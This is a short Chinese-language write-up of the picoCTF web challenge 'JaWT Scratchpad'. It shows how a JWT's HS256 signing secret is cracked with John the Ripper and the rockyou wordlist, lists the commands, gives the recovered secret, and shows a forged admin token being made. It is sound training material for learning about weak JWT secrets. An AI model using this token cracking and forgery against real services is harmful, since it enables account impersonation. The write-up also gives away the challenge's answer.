WriteUp

JaWT Scratchpad

1 分鐘
約 277 字

工具 #

過程 #

這是一題關於 JWT 的 CTF 題目。若不清楚 JWT,簡單來說 JWT 是一個用來傳遞身分驗證的資訊,通常會存於 Cookie 中,若要提取或修改可以按下 F12 或是 Burp Suite 等工具。

  1. 開啟實例後到該網站發現叫我們登入,名字不可以是 admin,然後題目下方有個連結是 John the Ripper 這個工具連結
  2. 接著題目提到關於 JWT,所以暫時以任意身分登入,例如:12345。之後利用 Decode 更改身分。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMTIzNDUifQ.gDV4REzLXoY7H0ifBpg5AAer_iNkGNFPeCa8oiUT8no
  1. 之後將 JWT Decode 獲得以下資訊

Header

{
  "typ": "JWT",
  "alg": "HS256"
}

Payload

{
  "user": "12345"
}

Secret 未知,所以我們要利用 John the Ripper 來破解。

先將 JWT 存成 jwt.txt,再將 wordlist.txt 放在同一個資料夾

wordlist.txt 來自 Kali 預設的 /usr/share/wordlists/rockyou.txt.gz

使用 Kali 內建的 John 即可

gunzip /usr/share/wordlists/rockyou.txt.gz
mv /usr/share/wordlists/rockyou.txt ~/wordlist.txt
echo "<jwt>" > jwt.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=wordlist.txt

然後就獲得了 Secret: ilovepico

  1. 接著使用 Encoder 將 user 欄位改成 admin,Secret 填入 ilovepico 並複製生成的 JWT 貼到靶機答案就出來了。
picoCTFWeb